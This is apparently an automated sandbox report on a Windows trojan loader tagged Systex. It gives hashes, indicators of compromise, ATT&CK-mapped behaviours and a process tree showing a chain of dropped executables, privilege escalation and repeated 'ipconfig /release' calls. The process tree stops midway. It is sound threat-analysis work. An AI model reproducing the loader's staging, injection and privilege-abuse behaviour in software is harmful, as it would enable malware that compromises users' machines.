systex | 177e584adae758abb1205b308959363259f0063d49b492f36fbf0f5eae57eb25

Analysis

max time kernel
148s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/07/2026, 03:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
Size 384KB
Sample260718-ejyfpafw8j
SHA256 177e584adae758abb1205b308959363259f0063d49b492f36fbf0f5eae57eb25
MD5 4cd2651966a93e6d68184f36b44089a3
SHA1 1945d8e9d37499fb5e53cddcd042cc1c9d2de2e6
SHA512 82b90a5ed75153eb304e7ef197ee0ff611e363453e68748b6ebbdc5e5616234ae4a748f75f19dd9e3873aafa7fdec7954c8d59eae9eff48d8cd1778a9e5c63ee
SSDEEP 3072:09ctuJAaM/4yjtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pq:OctFtIJjiJcbI03GBc3ucY5DCSjX
TLSH
T19E847A00BAA4F0F6C995047800DFAF36A67EB4281726CBC3E754CE5D9A513C3A93579B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
3736	urmkecwupmhezxrp.exe
3904	urmkecwupmhezxrp.sys
3280	CreateProcess.exe
3008	urmhecwupk.exe
2608	CreateProcess.exe
5152	CreateProcess.exe
1084	i_urmhecwupk.exe
428	gecwurmjhb.sys
4396	CreateProcess.exe
4524	ebwtrmjecz.exe
5020	CreateProcess.exe
6120	CreateProcess.exe
3904	i_ebwtrmjecz.exe
1788	omgebztrlj.sys
3272	CreateProcess.exe
2680	qomgbywqoj.exe
2460	CreateProcess.exe
4200	CreateProcess.exe
1900	i_qomgbywqoj.exe
5632	toljdbwqol.sys
3756	CreateProcess.exe
3192	dywqoigayw.exe
2100	CreateProcess.exe
4080	CreateProcess.exe
5696	i_dywqoigayw.exe
1424	bvtnljdbvt.sys
1244	CreateProcess.exe
3964	vtqljdbvtn.exe
2440	CreateProcess.exe
5244	CreateProcess.exe
3728	i_vtqljdbvtn.exe
5844	ifdxsqniga.sys
5888	CreateProcess.exe
6016	fdxvqnigay.exe
892	CreateProcess.exe
3396	CreateProcess.exe
6028	i_fdxvqnigay.exe
4472	caxsqkhfdx.sys
2992	CreateProcess.exe
4072	cavsnkfdxv.exe
2016	CreateProcess.exe
5776	CreateProcess.exe
4680	i_cavsnkfdxv.exe
5620	fcaxspnkfc.sys
3332	CreateProcess.exe
5668	cxusmkecwu.exe
4660	CreateProcess.exe
4980	CreateProcess.exe
1888	i_cxusmkecwu.exe
2156	hecxupmhfz.sys
2596	CreateProcess.exe
1256	ecausmkecx.exe
5328	CreateProcess.exe
2844	CreateProcess.exe
4716	i_ecausmkecx.exe
3420	wuomkebzxu.sys
4860	CreateProcess.exe
4216	trpmhecwuo.exe
468	CreateProcess.exe
6124	CreateProcess.exe
4532	i_trpmhecwuo.exe
4628	wurmjeywuo.sys
3040	CreateProcess.exe
5092	wuomgeywuo.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1304_1618658052\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1304_387108703\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1304_1581034004\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1304_1581034004\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1304_2025570268\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1304_1618658052\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1304_387108703\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1304_1581034004\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1304_1581034004\smart_switch_list.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywromgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ifdaysqlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdavsnkfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxuspkhcau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_causmkfzxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtqljdbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtqljdbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdxvqnigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxusmkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_trpmhecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ifdaysqlid.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	czxrpjhecz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qomgbywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dywqoigayw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	trpmhecwuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qligeytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_czxrpjhecz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywromgeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CreateProcess.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebwtrmjecz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebwtrmjecz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_igdyvtnlgd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fdavsnkfdx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxuspkhcau.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecausmkecx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wuomgeywuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_wuomgeywuo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	urmhecwupk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cavsnkfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_urmhecwupk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cavsnkfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxusmkecwu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecausmkecx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	causmkfzxu.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	urmkecwupmhezxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qomgbywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dywqoigayw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fdxvqnigay.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qligeytqlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	igdyvtnlgd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1732	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 19 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1052	ipconfig.exe
3556	ipconfig.exe
3972	ipconfig.exe
6016	ipconfig.exe
1776	ipconfig.exe
200	ipconfig.exe
2876	ipconfig.exe
4104	ipconfig.exe
5708	ipconfig.exe
4568	ipconfig.exe
4636	ipconfig.exe
4456	ipconfig.exe
4768	ipconfig.exe
3264	ipconfig.exe
5632	ipconfig.exe
3144	ipconfig.exe
3688	ipconfig.exe
5360	ipconfig.exe
2852	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134288207420136321"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2301830172-776172150-2531349243-1000\{1BCA9E19-112E-4590-B9F4-4D7F1FC55EF3}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
3736	urmkecwupmhezxrp.exe
3736	urmkecwupmhezxrp.exe
3736	urmkecwupmhezxrp.exe
3736	urmkecwupmhezxrp.exe
3736	urmkecwupmhezxrp.exe
3736	urmkecwupmhezxrp.exe
3736	urmkecwupmhezxrp.exe
3736	urmkecwupmhezxrp.exe

Suspicious behavior: LoadsDriver 20 IoCs

pid	Process
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found
808	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1304	msedge.exe
1304	msedge.exe
1304	msedge.exe
1304	msedge.exe
1304	msedge.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	1084	i_urmhecwupk.exe
Token: SeDebugPrivilege	3904	i_ebwtrmjecz.exe
Token: SeDebugPrivilege	1900	i_qomgbywqoj.exe
Token: SeDebugPrivilege	5696	i_dywqoigayw.exe
Token: SeDebugPrivilege	3728	i_vtqljdbvtn.exe
Token: SeDebugPrivilege	6028	i_fdxvqnigay.exe
Token: SeDebugPrivilege	4680	i_cavsnkfdxv.exe
Token: SeDebugPrivilege	1888	i_cxusmkecwu.exe
Token: SeDebugPrivilege	4716	i_ecausmkecx.exe
Token: SeDebugPrivilege	4532	i_trpmhecwuo.exe
Token: SeDebugPrivilege	2020	i_wuomgeywuo.exe
Token: SeDebugPrivilege	4500	i_qligeytqlj.exe
Token: SeDebugPrivilege	1424	i_igdyvtnlgd.exe
Token: SeDebugPrivilege	4196	i_ifdaysqlid.exe
Token: SeDebugPrivilege	3348	i_fdavsnkfdx.exe
Token: SeDebugPrivilege	1132	i_cxuspkhcau.exe
Token: SeDebugPrivilege	2720	i_causmkfzxu.exe
Token: SeDebugPrivilege	5800	i_czxrpjhecz.exe
Token: SeDebugPrivilege	4636	i_eywromgeyw.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1304	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1772 wrote to memory of 3736	1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe	89
PID 1772 wrote to memory of 932	1772	2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe	90
PID 932 wrote to memory of 1304	932	iexplore.exe	91
PID 1304 wrote to memory of 4972	1304	msedge.exe	92
PID 1304 wrote to memory of 5484	1304	msedge.exe	95
PID 1304 wrote to memory of 1732	1304	msedge.exe	93
PID 1304 wrote to memory of 5484	1304	msedge.exe	95
PID 1304 wrote to memory of 5484	1304	msedge.exe	95
PID 1304 wrote to memory of 5080	1304	msedge.exe	96
PID 1304 wrote to memory of 5080	1304	msedge.exe	96
PID 1304 wrote to memory of 1052	1304	msedge.exe	97
PID 1304 wrote to memory of 1052	1304	msedge.exe	97
PID 1304 wrote to memory of 1052	1304	msedge.exe	97
PID 1304 wrote to memory of 5828	1304	msedge.exe	98
PID 1304 wrote to memory of 5828	1304	msedge.exe	98
PID 1304 wrote to memory of 5828	1304	msedge.exe	98
PID 1304 wrote to memory of 1840	1304	msedge.exe	99
PID 1304 wrote to memory of 3084	1304	msedge.exe	100
PID 1304 wrote to memory of 1840	1304	msedge.exe	99
PID 1304 wrote to memory of 1840	1304	msedge.exe	99
PID 1304 wrote to memory of 3084	1304	msedge.exe	100
PID 1304 wrote to memory of 3084	1304	msedge.exe	100
PID 1304 wrote to memory of 1392	1304	msedge.exe	101
PID 1304 wrote to memory of 1392	1304	msedge.exe	101
PID 1304 wrote to memory of 3296	1304	msedge.exe	105
PID 1304 wrote to memory of 4388	1304	msedge.exe	106
PID 1304 wrote to memory of 3296	1304	msedge.exe	105
PID 1304 wrote to memory of 4388	1304	msedge.exe	106
PID 1304 wrote to memory of 992	1304	msedge.exe	108
PID 3736 wrote to memory of 3280	3736	urmkecwupmhezxrp.exe	110
PID 3008 wrote to memory of 2608	3008	urmhecwupk.exe	114
PID 3736 wrote to memory of 5152	3736	urmkecwupmhezxrp.exe	117
PID 3736 wrote to memory of 4396	3736	urmkecwupmhezxrp.exe	121
PID 4524 wrote to memory of 5020	4524	ebwtrmjecz.exe	123
PID 3736 wrote to memory of 6120	3736	urmkecwupmhezxrp.exe	126
PID 3736 wrote to memory of 3272	3736	urmkecwupmhezxrp.exe	130
PID 2680 wrote to memory of 2460	2680	qomgbywqoj.exe	132
PID 3736 wrote to memory of 4200	3736	urmkecwupmhezxrp.exe	135
PID 1304 wrote to memory of 4712	1304	msedge.exe	137
PID 1304 wrote to memory of 4712	1304	msedge.exe	137
PID 1304 wrote to memory of 4568	1304	msedge.exe	138
PID 1304 wrote to memory of 4568	1304	msedge.exe	138
PID 3736 wrote to memory of 3756	3736	urmkecwupmhezxrp.exe	142
PID 3192 wrote to memory of 2100	3192	dywqoigayw.exe	144
PID 3736 wrote to memory of 4080	3736	urmkecwupmhezxrp.exe	147
PID 1304 wrote to memory of 3324	1304	msedge.exe	149
PID 1304 wrote to memory of 4636	1304	msedge.exe	150
PID 1304 wrote to memory of 4460	1304	msedge.exe	151
PID 3736 wrote to memory of 1244	3736	urmkecwupmhezxrp.exe	154
PID 3964 wrote to memory of 2440	3964	vtqljdbvtn.exe	156
PID 3736 wrote to memory of 5244	3736	urmkecwupmhezxrp.exe	159
PID 3736 wrote to memory of 5888	3736	urmkecwupmhezxrp.exe	163
PID 6016 wrote to memory of 892	6016	fdxvqnigay.exe	165
PID 3736 wrote to memory of 3396	3736	urmkecwupmhezxrp.exe	168
PID 3736 wrote to memory of 2992	3736	urmkecwupmhezxrp.exe	172
PID 4072 wrote to memory of 2016	4072	cavsnkfdxv.exe	174
PID 3736 wrote to memory of 5776	3736	urmkecwupmhezxrp.exe	177
PID 3736 wrote to memory of 3332	3736	urmkecwupmhezxrp.exe	181
PID 5668 wrote to memory of 4660	5668	cxusmkecwu.exe	183
PID 3736 wrote to memory of 4980	3736	urmkecwupmhezxrp.exe	186
PID 1304 wrote to memory of 2952	1304	msedge.exe	188
PID 1304 wrote to memory of 2952	1304	msedge.exe	188
PID 3736 wrote to memory of 2596	3736	urmkecwupmhezxrp.exe	194
PID 1256 wrote to memory of 5328	1256	ecausmkecx.exe	196

C:\Users\Admin\AppData\Local\Temp\2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe
"C:\Users\Admin\AppData\Local\Temp\2026-07-17_4cd2651966a93e6d68184f36b44089a3_amadey_darkgate_elex_smoke-loader_stop.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1772
- C:\Temp\urmkecwupmhezxrp.exe
  C:\Temp\urmkecwupmhezxrp.exe run
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3736
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\urmhecwupk.exe ups_run
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3280
  - - C:\Temp\urmhecwupk.exe
      C:\Temp\urmhecwupk.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3008
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2608
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6016
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_urmhecwupk.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5152
  - - C:\Temp\i_urmhecwupk.exe
      C:\Temp\i_urmhecwupk.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1084
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ebwtrmjecz.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4396
  - - C:\Temp\ebwtrmjecz.exe
      C:\Temp\ebwtrmjecz.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4524
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5020
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3144
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ebwtrmjecz.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:6120
  - - C:\Temp\i_ebwtrmjecz.exe
      C:\Temp\i_ebwtrmjecz.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3904
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qomgbywqoj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3272
  - - C:\Temp\qomgbywqoj.exe
      C:\Temp\qomgbywqoj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2680
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2460
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1776
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qomgbywqoj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4200
  - - C:\Temp\i_qomgbywqoj.exe
      C:\Temp\i_qomgbywqoj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1900
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\dywqoigayw.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3756
  - - C:\Temp\dywqoigayw.exe
      C:\Temp\dywqoigayw.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3192
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:2100
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1052
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_dywqoigayw.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:4080
  - - C:\Temp\i_dywqoigayw.exe
      C:\Temp\i_dywqoigayw.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5696
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vtqljdbvtn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:1244
  - - C:\Temp\vtqljdbvtn.exe
      C:\Temp\vtqljdbvtn.exe ups_run
      4⤵
      Executes dropped EXE
